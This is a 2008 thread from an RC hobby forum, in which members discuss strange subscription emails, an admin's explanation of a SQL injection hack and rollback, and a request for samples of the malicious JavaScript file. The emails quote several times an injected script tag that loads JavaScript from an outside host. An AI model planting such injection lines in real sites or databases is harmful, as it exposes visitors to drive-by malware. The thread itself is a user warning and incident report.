Odd Subscription emails
#1
Thread Starter

My Feedback: (1)
Joined: Nov 2007
Posts: 144
Likes: 0
Received 0 Likes
on
0 Posts
From: Ringwood, NJ
The last couple of days I have received links for subscribed threads that don't look right. Here is an example.
Yes the "#" in the link is replacing the letter you think. Didn't want to offend and didn't want anyone to follow the link. It looks like it is a link to a java script app at a different site. The site in in China. Here is some trace info.
I don't know how this site is seeing new posts and sending out notices. It is only for threads I actually subscribed to. Could this be related to the trouble on RCU. I know some posts went missing.
I suggest posting a notice to all members if others are receiving these emails also. I never followed the link but not all PC users are as suspicious as I am. They may need a virus/adware scan if they did.
From: RCU forum subscriptions <[email protected]>
Date: Mon, Mar 3, 2008 at 8:14 AM
Subject: Subscription: RE: Mufflers for K&B 61? - by #<script src=http://www.2117966.net/****jp.js></script>
To: [email protected]
Subscription: RE: Mufflers for K&B 61? - by #<script src=http://www.2117966.net/fu#kjp.js></script>
Date: Mon, Mar 3, 2008 at 8:14 AM
Subject: Subscription: RE: Mufflers for K&B 61? - by #<script src=http://www.2117966.net/****jp.js></script>
To: [email protected]
Subscription: RE: Mufflers for K&B 61? - by #<script src=http://www.2117966.net/fu#kjp.js></script>
Yes the "#" in the link is replacing the letter you think. Didn't want to offend and didn't want anyone to follow the link. It looks like it is a link to a java script app at a different site. The site in in China. Here is some trace info.
Name: hn.kd.ny.adsl
IP Address: 125.46.105.224
Location: 34.767N, 113.650E
Network: APNIC-125
IP Address: 125.46.105.224
Location: 34.767N, 113.650E
Network: APNIC-125
I don't know how this site is seeing new posts and sending out notices. It is only for threads I actually subscribed to. Could this be related to the trouble on RCU. I know some posts went missing.
I suggest posting a notice to all members if others are receiving these emails also. I never followed the link but not all PC users are as suspicious as I am. They may need a virus/adware scan if they did.
#2
RCU Forum Manager/Admin
My Feedback: (9)
Yesterday RCU suffered from a SQL injection hack that insert that bogus code into the SQL database. Marc investigated the problem and realized that it could take days to manually remove this bogus code, so he choose to roll back RCU to the last known clean backup point which was on midnight of 3-3-08.
Ken
Ken
#3

I was having this problem today and yesterday too. 300+ notices over the weekend. I coresponded with Marc on this and found the problem. Somehow some of my forum settings had gotten changed. At the top of the page select "my account" - "forum settings" - under My Preferences - "Click to choose MyForums!" and then turn off any unwanted items. In my case I found @ 20 items checked that I had never set. I unchecked all of them and all is well now.
#4
Junior Member
Joined: May 2008
Posts: 1
Likes: 0
Received 0 Likes
on
0 Posts
From: Livonia, MI
hey guys I have been researching this for a client and am looking for a later variant of the .js file that is floating around. Has anyone collected a sample of the fu#kjp.js or the more recent jp.js that was being hosted by the ririwow.cn/jp.js
Many thanks in advance for your help.
Carl
[email protected]
Many thanks in advance for your help.
Carl
[email protected]



